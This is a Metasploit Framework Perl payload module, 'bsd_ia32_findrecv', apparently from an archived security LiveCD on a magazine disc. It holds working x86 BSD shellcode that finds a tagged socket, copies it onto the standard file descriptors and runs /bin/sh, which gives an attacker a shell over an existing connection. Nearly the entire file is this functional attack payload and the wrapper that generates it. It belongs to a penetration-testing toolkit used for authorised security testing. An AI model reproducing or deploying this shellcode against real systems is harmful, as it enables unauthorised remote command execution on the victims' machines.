home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / usr / lib / metasploit / payloads / bsd_ia32_findrecv.pm < prev    next >
Text File  |  2006-06-30  |  2KB  |  75 lines

  1.  
  2. ##
  3. # This file is part of the Metasploit Framework and may be redistributed
  4. # according to the licenses defined in the Authors field below. In the
  5. # case of an unknown or missing license, this file defaults to the same
  6. # license as the core Framework (dual GPLv2 and Artistic). The latest
  7. # version of the Framework can always be obtained from metasploit.com.
  8. ##
  9.  
  10. package Msf::Payload::bsd_ia32_findrecv;
  11. use strict;
  12. use base 'Msf::PayloadComponent::FindRecvConnection';
  13.  
  14. my $advanced = 
  15. {
  16.     'FindTag'      => ['msf!', 'Tag sent and checked for by payload'],
  17. };
  18.  
  19. my $info =
  20. {
  21.     'Name'         => 'BSD IA32 Recv Tag Findsock Shell',
  22.     'Version'      => '$Revision: 1.1 $',
  23.     'Description'  => 'Spawn a shell on the established connection, proxy/nat safe',
  24.     'Authors'      => [ 'skape <mmiller [at] hick.org>', ],
  25.     'Arch'         => [ 'x86' ],
  26.     'Priv'         => 0,
  27.     'OS'           => [ 'bsd' ],
  28.     'Size'         => '',
  29. };
  30.  
  31. sub new 
  32. {
  33.     my $class = shift;
  34.     my $hash = @_ ? shift : { };
  35.     $hash = $class->MergeHash($hash, {'Info' => $info, 'Advanced' => $advanced});
  36.     my $self = $class->SUPER::new($hash, @_);
  37.  
  38.     $self->_Info->{'Size'} = $self->_GenSize;
  39.     return($self);
  40. }
  41.  
  42. sub Build 
  43. {
  44.     my $self = shift;
  45.     return($self->Generate);
  46. }
  47.  
  48. sub Generate 
  49. {
  50.     my $self = shift;
  51.  
  52.     # Get tag and make sure its 4 bytes (pad/truncate)
  53.     my $tag = substr($self->GetLocal('FindTag') . ("\x01" x 4), 0, 4);
  54.  
  55.     my $shellcode =
  56.         "\x31\xd2\x52\x89\xe6\x52\x52\xb2\x80\x52\xb6\x0c\x52\x56\x52\x52" .
  57.         "\x66\xff\x46\xe8\x6a\x1d\x58\xcd\x80\x81\x3e\x6d\x73\x66\x21\x75" .
  58.         "\xef\x5a\x5f\x6a\x02\x59\x6a\x5a\x58\x51\x57\x51\xcd\x80\x49\x79" .
  59.         "\xf5\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x54" .
  60.         "\x53\x53\xb0\x3b\xcd\x80";
  61.  
  62.     substr($shellcode, 0x1b, 4, $tag);
  63.  
  64.     return($shellcode);
  65. }
  66.  
  67. sub _GenSize 
  68. {
  69.     my $self = shift;
  70.     my $bin = $self->Generate;
  71.     return(length($bin));
  72. }
  73.  
  74. 1;
  75.